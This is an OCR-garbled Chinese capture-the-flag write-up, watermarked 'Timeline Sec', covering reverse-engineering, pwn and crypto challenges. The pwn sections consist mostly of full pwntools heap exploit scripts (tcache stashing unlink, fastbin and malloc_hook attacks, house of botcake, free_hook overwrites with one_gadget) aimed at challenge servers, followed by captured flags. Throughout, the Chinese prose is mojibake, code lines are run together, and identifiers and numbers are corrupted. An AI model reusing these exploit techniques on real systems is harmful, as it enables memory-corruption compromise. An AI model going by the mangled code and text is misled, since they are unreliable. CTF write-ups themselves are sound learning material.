rca((int)va, &key, &dest); // key=tflag!
v = -1;
do
++v6;
while ( vo < get len((int)&dest) );
operator delete(va);
hex(&key, &key ); A e L.
encryt((int)vi2, (int)&key , (int)&dest); = Timeline Sec

TESHT, AT AR/ FRIBNTHI TN KEHT THIBAR ER2207, G RELT Thex#t, BEECANE,
Ziiflag, RiFHDESIE, #HHiLEfag, &EHHXOX99EDATDI41316EEAM TN . BIER A HIrcdE
SR Z] Terefede, A4 A LU 508 1 il £ pE #red.



return resulit;
if (a2 < 1)

JUMPOUT (&loc_A8938(C28);
if ( result <= a2 )

{
result = result == a2;
}
else if ( 22 & (a2 - 1) )
{
vz = clz(a2) - clz(result);
v3 = a2 << v2;
v = 1 << v2;
V5 = 0;
while ( 1)
{
if ( result >= v3 )
{
result -= v3;
v5s |= v4;
h
if ( result »= v3 »>» 1)
{
result -= v3 »» 13
V5 |= v »> 1;
h
it ( result »= v3 »>» 2 )
{
result -= v3 »» 23
V5 |= va »> 2;
h

if ( result »= v3 »>» 3 )

7o Timezline Szc

#-*- coding:utf-8from numpy import*from Crypto.Cipher import DESfrom Crypto.Cipher import
ARC4key="666C6167'des = DES.new(key,

DES.MODE _ECB)cipher1="99EDA1D941316EEA'.decode('hex’)plain1=des.decrypt(cipher1)print(plaini.enco
K iHdeshE# 1 X )2 I AE Hirc4# X, R Nflagiflag{76952041E276E2BF}

< 1 | b

PWN

#Beauty Of ChangChun

- del F#H FEEuar I, H R xtbyte 7 #9sizei&0, 0x10049chunk 72 & m
- FFEEJETTER

TFIETE/F B HENag i N T —MEEHIWFEF, FHAEITHREF, R FdENag 7% B8 71 HIR (k(E I if £ F)
flag. ALl AL Tcache Stashing Unlink , fEflag #9817 5 _Fmain areanff v #I#hit. 7 H AT Ll kglibe, &
ThiE, PrUltiskhig 7RG LHHE, A8 % ag.

R BESETLIE T 77exp:



#l/usr/bin/env pythont encoding: utf-8from pwn import *import timelocal_file = "/pwn'elf =
ELF(local_file)context.log level = debug'debug = Oif debug:io = process(local_file)libc = elf.libcelse:io =
remote('112.126.71.170',43652)libc = elf.libc#libc = ELF(".")context.arch = elf.archcontext.terminal =
[tmux’,'newwT#, "splitw’,~h'rce 16 = [0x45216,0x4526a,0xf02a4,0xf1147]rce18 =
[0x4f2c5,0x4f322,0x10a38c]realloc = [0x2,0x4,0x6,0xB,0xC,0xD]arae16 = 0x3c4b78arae18 = 0x3ebcals =
lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data
:io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)r = lambda numb=4096
:io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)uu32 = lambda data :u32(data.ljust(4,
\0))uu64 = lambda data :ub4(data.ljust(8, \0)))info_addr = lambda tag, addr :io.info(tag + '==>'+"

{#x}" format(addr))itr = lambda :io.interactive()def debug():# gdb.attach(proc.pidof(io)[0] gdbscript="b
main')gdb.attach(io)pause()def add(size):sla("4: Enjoy scenery\n",'1)sla('size’,str(size))def free(idx):sla("4:
Enjoy scenery\n",'2)sla(‘idx’, str(idx))def edit(idx,data):sla("4: Enjoy
scenery\n",'3)sla('idx’,str(idx))sa('chat’,str(data))def show(idx):sla("4: Enjoy

scenery\n",'4)sla(’idx’, str(idx))ru(’le\n)flag = int(r(12),16)info_addr('flag’,flag)for i in
range(6):add(0x80)free(0O)for i in
range(7):add(0xff)free(0)add(0x100)add(0x80)add(0x100)free(1)add(0x90)free(0)free(2)show(2)ru(‘see\n’)hear.
= uub4(r(6))info_addr(‘heap’ heap)show(0)ru(‘'see\n’)fd = uu64(r(6))libcbase = fd -
Ox1ebbelinfo_addr('fd’,fd)info_addr(libcbase’,libcbase)sla("4: Enjoy scenery\n",'666")#sla("4: Enjoy
scenery\n",'5')sl(‘'aaaaaaa’)edit(2,p64(heap) + p64(flag-0x10))free(1)add(0x100)edit(0,p64(libcbase +
Ox1ebce0))sla("4: Enjoy scenery”,'5)sla(idx’,'1)itr()

LI k

flagfg

] Sent 0x2 bytes:
'O\n"
] Received 0x21 bytes:
'443f40ee-f4de-40b3-ab94-b7afa6fo\n’
443f40ee-f4de-40b3-ab94-b7afa6f9
[ ] Received Oxa5 bytes:
I\nl
'Have fun in ChangChun!!!\n'
'Hope you can find the beauty of playing CTF in ChangC
'l: Make a friend\n'
*2: Put your bad mood behind\n’
'3: Chat with master\n'

'4: Enjoy scenery\n' % Timeline Sec

flag{443f40ee-f4de-40b3-ab94-b7afabfo}
r L
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T B #
if ( glob(pattern, 4098, OLL, &pglob) )globfree(&pglob);

A UL XN R SR 67 H— 1~ E K #unsorted bin, £ H# igchunk - 2 B af it Jg Hilibe, #5558t Zfastbin
aftack, Z¢drmalloc hook, &/ & Efree 2k [a—1chunk, MXEEHLE, KB Hmallockt X Flone
gadget

#l/usr/bin/env python# encoding: utf-8from pwn import *import timelocal_file = "/ying _liu_zhi_zhu'elf =
ELF(local_file)context.log level = debug'debug = Oif debug:io = process(local_file)libc = elf.libcelse:io =
remote('112.126.71.170',45123)libc = elf.libc#libc = ELF(".)context.arch = elf.archcontext.terminal =
[tmux’,'newwT#, "splitw’,~h'rce 16 = [0x45226,0x4527a,0xf0364,0xf1207]rce18 =
[0x4f2c5,0x4f322,0x10a38c]realloc = [0x2,0x4,0x6,0xB,0xC,0xD]arae 16 = 0x3c4b78arae18 = 0x3ebcals =
lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data
:io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)r = lambda numb=4096
:io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)uu32 = lambda data :u32(data.ljust(4,
\0'))uu64 = lambda data :u64(data.ljust(8, \0)))info_addr = lambda tag, addr :io.info(tag + '==>'+"

{#x}" format(addr))itr = lambda :io.interactive()def debug():# gdb.attach(proc.pidof(io)[0] gdbscript="b
main')gdb.attach(io)pause()def add():sl('1)def free(idx).sl('2))sl(str(idx))def
edit(idx,data):sl('3))sl(str(idx))s(str(data))def show(idx):sl('4)sl(str(idx))def b(data):sl('5)sl(str(data))#
add()b(b"/1ib*) #0x3c4ce8# b(b™) #0x3c4b78add() #0add()add()add()add() #4show(1)libcbase = uu64(r(6)) -
Ox3c4ce8info_addr('libc’libcbase)free(1)edit(1,p64(libcbase+0x3c4aed))add()add()one = 0xf0364 +
libcbaserealloc = libcbase + libc.symbols[realloc’] + realloc[4]payload = \x00' *3 + p64(0) + p64(one)+
pb64(realloc)edit(6,payload)free(0)free(0)itr()

flag.txt

lib

1ib32

1ib64
ying_Lliu_zhi_zhu

cat flag.txt
] Sent Oxd bytes:
AL REIAOEEXT NG
] Received 0x2b bytes:
'flag{dfbe8fe7-b6f4-4c3a-a226-6a8b12fd683f}\n"
flag{dfbe8fe7—b6f4—4c3a—a226—6a8b12fd68§£ﬁ

Timeline Sec

flag{dfbe8fe7-b6f4-4c3a-a226-6a8b12fd683f}
»*babypwn
CH+HIFE/F IS B RERK LB HIF,, HE L FHTE,



R LEInit create init ZHEHINFHATIE, FE/FBLERESER, FRIEEZNTIEEFBEIBNIURHI P 775K

HH, TTRE R FRINTTERER G, HTRADEOX0sIchunk, #E AT LISEH M -

0x0000000000000000
0x00000000022fbcfO
0x0000000000000000
0x00007f158a8cab78
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000090
0x00000000022fbc40

0x0000000000000021
0x00000000022fbcd0
0x0000000000000091
0x00007f158a8cab78
0x0000000000000000
Ox0000000000000000
0x0000000000000000
Ox0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
Ox0000000000000020
0x0000000000000900

0x0000000000000 @1 imeline Sec

A ATATATATATATATATATATAYATATATAYA

0x0000000000000000

1, FERX PTG E B A LR AL BRI S . #R i FF A B i OXOf 9 HE 56, set— T BT A FE X 21 75 £t -

Pgx ©xacZcl

Oxac2clo:
Oxac2c20:
Oxac2c30:
Oxac2c40:
Oxac2c50:
Oxac2c60:
Oxac2c7/0:
Oxac2c80:
Oxac2c90:
Oxac2ca0:
Oxac2cbO:
Oxac2ccO:
Oxac2cdO:
Oxac2ce0:
Oxac2cfO:

0x0000000000000000
0x0000000000ac2cfO
0x0000000000000000
0x00007f6386c507a8
0x000000000a383231
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000090
Ox0000000000ac2c40
0x0000000000000000
0x0000000000401990

gef> x/30gx O0x00007f6386c507a8

0x0000000000000021
0x0000000000ac2cdO
Ox0000000000000091
Ox00007f6386c507a8
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000021
0x0000000000000000
0x0000000000000091
0x0000000000000000

0x7f6386c507a8 <__free_hook>: 0x00007f638697b207 1X00007f638697b207
Ox7f6386c507b8 <next_to_use>: Ox00007f638697b207 GXOOGO’EEEQBQQHEE?SQC
Ox7f6386c507c8 <disallow malloc check>: 0x0000000000000000 0x0000000000000€

A5 25 Fifree hook, i Acreate it 2free R HIchunk, KA f# %one gadget.




#l/usr/bin/env pythont encoding: utf-8from pwn import *import timelocal_file = "/pwn'elf =
ELF(local_file)context.log level = debug'debug = Oif debug:io = process(local_file)libc = elf.libcelse:io =
remote('8.131.69.237',562642)libc = elf.libc#libc = ELF(".")context.arch = elf.archcontext.terminal =

[tmux’, newwT#, "splitw’,~h'rce 16 = [0x45226,0x4527a,0xf0364,0xf1207]rce18 =
[0x4f2c5,0x4f322,0x10a38c]realloc = [0x2,0x4,0x6,0xB,0xC,0xD]arae16 = 0x3c4b78arae18 = 0x3ebcals =
lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data
:io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)r = lambda numb=4096
:io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)uu32 = lambda data :u32(data.ljust(4,
\0))uu64 = lambda data :u64(data.ljust(8, \0)))info_addr = lambda tag, addr :io.info(tag + '==>'+"

{:#x}" format(addr))itr = lambda :io.interactive()def debug():# gdb.attach(proc.pidof(io)[0] gdbscript="b
main')gdb.attach(io)pause()def init():sla(’ice:’,'"1’)def create():sla(ice:’,'2)def

add(size):sla('ice:’,'3))sla('size’, str(size))def set(data):sla(ice:’,'4)sa('tent’ str(data))def show():sla('ice:’,'5')def
size():sla(ice.’,'6)init()create()# add(0x8f)init()show()ru(‘'ow:\n')libc_base = uu64(r(6)) -
0x3c4b78info_addr('libc’libc_base)add(0x80)set(p64(0x3c67a8 +libc_base) + p64(0x3c67a8 +
libc_base))set(p64(rce16[3] + libc_base)*4 + p64(0)*7)create()# debug()itr()

00000020 20 69 6e 70 75 74 20 79 6f 75 72 20 74 6f 6b 65 ‘ inp ut y o
r toke|
00000030 6e 3a 5b 30 6d 20 ‘n: [ Om |
00000037
-ongratulations,please input your token: 1cqaab6603da5d8063707dd74952c7daf

] Sent 0x21 bytes:
'1cqaab603da5d8063707dd74952c7daf\n'
] Received 0x26 bytes:
'flag{807591828e94ceb0e6c206caa5f98927}"
1ag{807591828e94ceb0eb6c206caa5f98927} [*] Got EOF while readi%%ﬂnjé]ﬁ?é%% ive

flag{807591828e94ceb0ebc206caa5f98927}

»tgarden

- steal tree i #( 77 Euaf

HH ot BB

A FEFEE ), RUELG A house of botcake M FIHIR »

ALl O B ES B2 “house of botcake”™, 1HAZ H T 1% H FEH #1g B A Ichunk K F/H, HBr U 72 /H#tcache )
chunk¥kipadding chunk, # /& /Hname5-1~gki4tImalloc 0x20, tJ#|— T4 kkfgunsortedbin.

BERTE T, tHERHTheap L ~154, RIEEKHE, Flig2pifreett, FKZunsortbin f- & &
tcachepg 2L, FskHitcache attack, #:#&#7free hook.



#l/usr/bin/env pythont encoding: utf-8from pwn import *import timelocal_file = "/pwn'elf =
ELF(local_file)context.log level = debug'debug = Oif debug:io = process(local_file)libc = elf.libcelse:io =
remote('8.131.69.237',32452)libc = elf.libc#libc = ELF(".")context.arch = elf.archcontext.terminal =

[tmux’, newwT#, "splitw’,~h'rce 16 = [0x45216,0x4526a,0xf02a4,0xf1147]rce18 =
[0x4f2c5,0x4f322,0x10a38c]realloc = [0x2,0x4,0x6,0xB,0xC,0xD]arae16 = 0x3c4b78arae18 = 0x3ebcals =
lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data
:io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)r = lambda numb=4096
:io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)uu32 = lambda data :u32(data.ljust(4,
\0))uu64 = lambda data :ub4(data.ljust(8, \0)))info_addr = lambda tag, addr :io.info(tag + '==>'+"

{:#x}" format(addr))itr = lambda :io.interactive()def debug():# gdb.attach(proc.pidof(io)[0] gdbscript="b
main')gdb.attach(io)pause()def add(idx,data):sla(>","1")sla('dex?’ str(idx))sa('name’,str(data) )def
free(idx):sla(*>','2')sla('dex’,str(idx))# only onedef show(idx):sla(*>','3))sla('dex?\n’,str(idx))def
steal(idx):sla(*>','5')sla('tree’, str(idx))def name():sla(>','6')for i in

range(7):add(i,'chumen77')add(7, chumen77')add(8,'chumen77)# name()for i in
range(5):free(i)free(8)free(5)steal (7)free(6)show(7)# r()# p/x 0x00007fd1efd50ca0 -
0x00007fd1efb6c000libcbase = uu64(r(6)) -

Ox1e4caOinfo_addr('libc’,libcbase)add(0, chumen77")free(7)name()free(0)# debug()for i in
range(7):add(i,'chumen77')add(7, chumen77')# free(0)add(8,'chumen77')free(0)free(8) _malloc_hook =
Ox1e4c30__free_hook = Ox1e75a8one = p64(0x52fd0+libcbase)payload = 0xd0 * \x00' + p64(0) + p64(0x111)
+ p64(0x1e75a8 + libcbase)add(8,payload)for i in range(7).free(7-i+2)free(1)free(2)for i in
range(6):add(i,'chumen77')add(7, chumen77')add(8,one)add(6, /bin/sh\x00)free(6)# debug()itr()

00000010 tula|tion]|s,pl]|e
00000020 20 69 6e 70 75 74 20 79 6f 75 72 20 74 6f 6b 65 inp ut y our t
00000030 6e 3a 5b 30 6d 20 n:-[ Om |
00000037

icqaa6603da5d8063707dd74952c7daf

[ ] Sent 0x21 bytes:
'icgaab603dabd8063707dd74952c7daf\n'

[ ] Received 0x26 bytes:
'flag{49333188b93b530dfaf568d0816aadfa}"

flag{49333188b93b530dfaf568d0816aabfa} [ ] Received 0x79 bytes:

& Timeline Sec

flag{49333188b93b530dfaf568d0816aalfa}
70 L

DHTFESF, R EIEEMallopt FH L. (HEPEALBE, BIFHEE L BN, FiHIbcIF
IR

BRARI— TN FIAR & -
[https.//www.cygwin.comvbugzilla/show\_bug.cgi?id=25733]

I K 2

7Elibc 2.234, “mallopt(M_MXFAST) can set global_max_fast to 0



#include #include #include int main() {// Populate last_remainder, which is treated as the top chunk size
field// after main arena re-initialization.// #& 7 last_remainder, F#HHARABA N FEY 175155 B FH
ZJ&. void* remainder_me = malloc(0x418);malloc(0x18),// Avoid top chunk
consolidation.free(remainder_me);malloc(0x18),// Remainder remainder_me chunk.// Set global_max_fast to
0.mallopt(M_MXFAST, 7),// Trigger malloc_consolidate(), which could happen during large//
allocations/frees, but for the sake of simplicity here just call// mallopt() again.mallopt(M_MXFAST, 0x78),//
malloc_consolidate() uses global_max_fast to determine if malloc has// been initialized. If global_max_fast is
0, malloc_consolidate() will/ re-initialize the main arena, setting its top chunk pointer to an address// within
the main arena. Now last_remainder acts as the top chunk size// field.printf("%p\n", malloc(0x418));return 0;}

R G477 £ X HEHTHG o

Ox71c907d29b88

#& Timeline Sec

iyﬁlgl%:
IR ARG g H el # Blibe_f, 7 H X BH #free hook H9_L .
A4 R ENHElibe _ERFFRIERL T, —HEHHIHEIERNZE, BEZEfree hook.

#itt exp#!/usr/bin/env pythont# encoding: utf-8# icqaa6603da5d8063707dd74952c7daffrom pwn import
*import timelocal_file = "/ba_zui_bi_shang'elf = ELF(local_file)context.log_level = ‘debug'debug = Oif
debug:io = process(local_file)libc = elf.libcelse:io = remote('112.126.71.170',23548)libc = elf.libc#libc =
ELF("")context.arch = elf.archcontext.terminal = [tmux’,'newwJ#, "splitw’,"-h'rce16 =
[0x45216,0x4526a,0xf02a4,0xf1147]rce18 = [0x4f2c5,0x4f322,0x10a38c]realloc =
[0x2,0x4,0x6,0xB,0xC,0xDJone_gadgets = [0x45226,0x4527a,0xf0364,0xf1207Jarae16 = 0x3c4b78arae18 =
Ox3ebca0ls = lambda data :io.send(data)sa = lambda delim,data :io.sendafter(delim, data)sl = lambda data
:io.sendline(data)sla = lambda delim,data :io.sendlineafter(delim, data)r = lambda numb=4096
:io.recv(numb)ru = lambda delims, drop=True :io.recvuntil(delims, drop)uu32 = lambda data :u32(data.ljust(4,
\0))uu64 = lambda data :u64(data.ljust(8, \0)))info_addr = lambda tag, addr :io.info(tag + '==>'+"

{:#x}" format(addr))itr = lambda :io.interactive()def debug():# gdb.attach(proc.pidof(io)[0] gdbscript="b
main')gdb.attach(io)pause()def add_name(size,data):sla(> ','1))sla(*> ' str(size))sla("> ' str(data) ) def
free():sla(™> ','2)def mallopt(param_number,value):sla(*> ','3)sla(*> ' str(param_number))sla("> ',str(value))def
add(size,data):sla(> ','4))sla(*> ' str(size))sla("> ',str(data) )ru('0Ox’)libcbase = int(r(12),16) -
libc.symbols[puts'linfo_addr('libc’libcbase)# debug()ru(*> ')sl(str(0x418))ru(">
Yio.send(\n)add_name(0x18,'chumen77\n’)free()add_name(0x18,'chumen77\n’)mallopt(1,7)#
debug()mallopt(1,0x78)add(0x418,\n’)add(0x418,\n')add(0x418,\n')add(0x418,\n)add(0x418,\n)add(0x418,\
+ X00™0x358 + pb4(libc.symbols['system’]+libcbase))# debug()free()itr()

€| i | 3




congratulations,please input your token: 1cqaab603da5d8063707dd74952c7daf
] Sent 0x21 bytes:
'1cqaab603da5d8063707dd74952c7daf\n'
] Received 0x26 bytes:

'flag{1db37b9de003140420951bf5f77483a7}"'
1lag{1db37b9de003140420951bf5f77483a7} [ ] Received Oxaf b&ces:

00000000 3e @ Timeline Sec

flag{1db37b9de003140420951bf5f77483a7}

Crypto
»*Exposure

from Crypto.Util.number import *import gmpy2p = getStrongPrime(512)q = getStrongPrime(512)n = p * gphi =
(p-1)*(q-1)e=7621d = gmpyZ2.invert(e, phi)flag = b"flag{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"C =
pow(bytes to long(flag), e, n)dp =d % (p - 1)print(dp >> 200)print(c, e,
n)#11536968468237154583426585683925377781718400149237452537595294329779321833225539444.30.

i 1] | 3

dp/tE, 1HE2dp# 4 E 172001z, 182 7 Coppersmith i, X1NEdp&L/HtE, Hr L iZER((dp’e-
1)/i)+1 #9 small roots gtaTLL T

2EKAP0O2019 cryptofg &t
https://github.com/pcw109550/write-up/tree/master/2019KAPO/Lenstra-Lenstra-Lovasz
G i R & sage B Z

n=
1403760491349348221539642434030312019222395880541333190564834133119633853212796821863549

1153696846823715458342658568392537778171840014923745253759529432977932183322553944430236

4673596220485719052047643489888100153066571815569889888260342202348499838866885869291225
secret, ct] = list(map(Integer, [n, secret, ct]))e = 7621def facorize(e, dp).fori in range(2, e).p = (e *dp-1+i) //
iif n % p == O:return preturn -1def recover(secret):F. = PolynomialRing(Zmod(n))einv = inverse_mod(e, n)for
k in range(1, e).print("k =", k)f = (secret << 200) + x + (k - 1) * einvx0 = f.small_roots(X=2 ** (200 + 1),
beta=0.44, epsilon=1/32)if len(x0) != 0:dp = x0[0] + (secret << 200)p_cand = facorize(e, Integer(dp))if p_cand
< O:continueelse:return p_cand, dpif _name _ =="_main__":p, dp = recover(secret)q = n// passert p * q ==
nphi = (p-1) *(q- 1)d = inverse_mod(e, phi)print("p =", p, "\nq = ", q)flag = bytes.fromhex(hex(pow(ct, d, n))
[2:])print(flag)

< | 1 F




& sageMath 9.1 Consale - O d

flag{45879a9e-1431-4¢c34-86e2-6f1f7bb 12560}
»tmore_calc

import gmpyZ2from Crypto.Util.number import *flag = b"flag{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX} ' =
getStrongPrime(2048)for i in range(1, (p+1)//2):s += pow(i, p-2, p)s = s % pq = gmpyZ2.next_prime(s)n = p*qe
= 0x10001c = pow(bytes _to long(flag), e,
n)print(p)print(c)#27405107041753266489145388621858169511872996622765267064868542117269875531

4| 3

HRq, 785EKs, XA HSZE pow(i, p-2, p) #1EFI i M1E] (p+1)/2), ETL#G ) EZELRp 7 (p+1)//2 -1 R#
yn

# -* coding: utf-8 -*-# @Project: Hello Python!# @File : exp# @Author : TrOjAn # @Date : 2020-11-22import
gmpy2from Crypto.Util.number import long to_bytesp =
2740510704175326648914538862185816951187299662276526706486854211726987553136493989667166
= gmpy2.invert(p, (p+1)/2-1)s = s % pq = gmpy2.next_prime(s)e = 0x10001phi = (p- 1) *(q - 1)d =
gmpyZ2.invert(e, phi)n = p*qc =
3505591868374888328217478432365181356052073760318580022742450042876226493302151138187199
= pow(c, d, n)print(long_to_bytes(m))

| F

\AppD

7f8da%9-ee?

Process finished with exit code 0 & Timelinesec

flag{3d7f8da9-ee79-43c0-8535-6af524236¢ca1}
»*simpleRSA

from Crypto.Util.number import *import gmpy2p, q, r = [getPrime(512) for i in range(3)jn=p *q *rphi = (p- 1)
*(q-1) *(r-1)d = getPrime(256)e = gmpyZ2.invert(d , phi)flag =
b"flag{X}xxxxxXxXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX} "C = pow(bytes to_long(flag), e, n)print(e, n)print(c)

ZFHHIRSA, BERAHFLFZ L VIFL ) Rz 77 A H 5 HRSAZ A — A



# -*- coding: utf-8 -*from Crypto.Util.number import long_to_bytese =
1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570

18272219926928491792440698342738165657142765056305246103435962887461520381709739927223055

1079929174110820494059355415059104229905268763089157771374657932646711017488701536460687
= [Jwhile n:data += [e // nJe, n = n, e % nfor i in range(1, len(data) + 1):e =
1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570
1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055
= data[:i]d = 0d1 = 1forjin datal[::-1]:d, d1 =d1, d +j *d1if bflag' in long_to_bytes(str(pow(c, d,
n))):print(long_to_bytes(str(pow(c, d, n))))

|

i 1]

Process finished with exit code -1 % TimelineSec

flag{1c40fa8a-6a9c-4243-bd83-cd4875ea88cc}
#*RSAssss

from Crypto.Util.number import *from gmpy2 import next_primep = getPrime(512)q = getPrime(512)n=p *q *
next_prime(p) * next_prime(q)e = 0x10001flag = b"flag{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX} "Cipher =
pow(bytes to long(flag), e, n)print(n,
Cipher)#803086050719548165642433145523144313577352447653641953474510663716576290947829214

4 m | 3

PIFE#IRSAZ d7, BEFEL, HE LK

# -* coding: utf-8 -*-from Crypto. Util.number import GCD, inverse, long_to_bytesimport gmpy2n =
8030860507195481656424331455231443135773524476536419534745106637165762909478292141556846

3304124639719334349997663632110579306673932777705840648575774671427424134287680988314129
= 0x10001def fermat _factorization(N):Factor = [JgmpyZ2.get_context().precision = 2048a =
int(gmpy2.sqrt(N))a2 = a * ab2 = gmpyZ2.sub(a2, N)while True:a += 1b2 = a * a - Nif gmpy2.is_square(b2):b2
= gmpy2.mpz(b2)gmpyZ2.get_context().precision = 2048b = int(gmpyZ2.sqrt(b2))Factor.append([a + b, a - b])if

len(Factor) == 2:breakreturn Factorif _name _ =="_main__"-factor = fermat _factorization(n)[X1, Y1] =
factor[O][X2, YZ2] = factor[1]assert X1 * Y1 == nassert X2 * Y2 == np1 = gmpy2.mpz(GCD(X1, X2))p2 =
gmpy2.mpz(X1/p1)q1 = gmpy2.mpz(GCD(Y1, Y2))q2 = gmpy2.mpz(Y1/q1)assert p1 *p2 *q1 * q2 == nphi
= gmpy2.mpz(0)phi = (p1-1) *(q1-1) *(p2-1) *(q2 - 1)d = inverse(e, phi)flag = long to_bytes(pow(c, d,

n))print(flag)

< | 1 | F

flag{2bef1a3e-5598-404e-b022-f593a230ce58}
»blowfishgame



CBC ## 2 (€ message Ai 8 1% get flag, #EHAMEHEFTRK, HEHIHET, BrliET
W,

# -*- coding: utf-8 -*# @Project: Hello Python!# @File : exp# @Author : Nonuplebroken # @Date : 2020-11-
22from pwn import *import stringimport itertoolsfrom hashlib import sha384import reimport base64def
PoW(part, hash_value):alphabet = string.ascii_letters + string.digitsfor x in itertools.product(alphabet,
repeat=3):nonce = " join(x)if sha384(nonce + part).hexdigest() == hash_value:return noncedef xor(a, b):assert
len(a) == len(b)return " join([chr(ord(afi])ord(b[i])) for i in range(len(a))])sh = remote('8.131.69.237", 15846)s1
= sh.recvuntil('Give me XXX:)re_res = re.search(r'sha384\(XXX\+([a-zA-Z0-9}{17})\) == ([0-9a-f]{96})’, s1)part
= re_res.group(1)hash_value = re_res.group(2)print ‘part:’, partprint ‘hash_value:’, hash_valuenonce =
PoW(part, hash_value)print 'nonce:’, noncesh.sendline(nonce) = [sh.recvline() for i in range(8)]s1 =
sh.recviine()s1 = base64.b64decode(s1)iv, ¢ = s1[:8], s1[8:]print len(iv)print len(c)d_c1 = xor('Blowfish’,
ivinew _iv = xor(d_c1, ‘get_flag)get flag = base64.b64encode(new _iv + c)print get_flagflag = "alphabet =
flag{}-0123456789abcdef# alphabet = string.printablefor i in range(42):sh.sendline(get_flag)target m = ('x'*
(47 - i))sh.sendline(target_m)target_c = base64.b64decode(sh.recvline())for x in
alphabet:sh.sendline(get_flag)test m = (X' * (47 - i)) + flag + xsh.sendline(test_m)test _c =
base64.b64decode(sh.recvline())if test_c[:48] == target_c[:48].flag += xprint [%02d/42] %s' % (i+1,
flag)breaksh.interactive()
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Got EOF while reading in interactid® Timeline Sec

flag{ba524422-7769-4d00-bd4d-6d6946¢c173ce}
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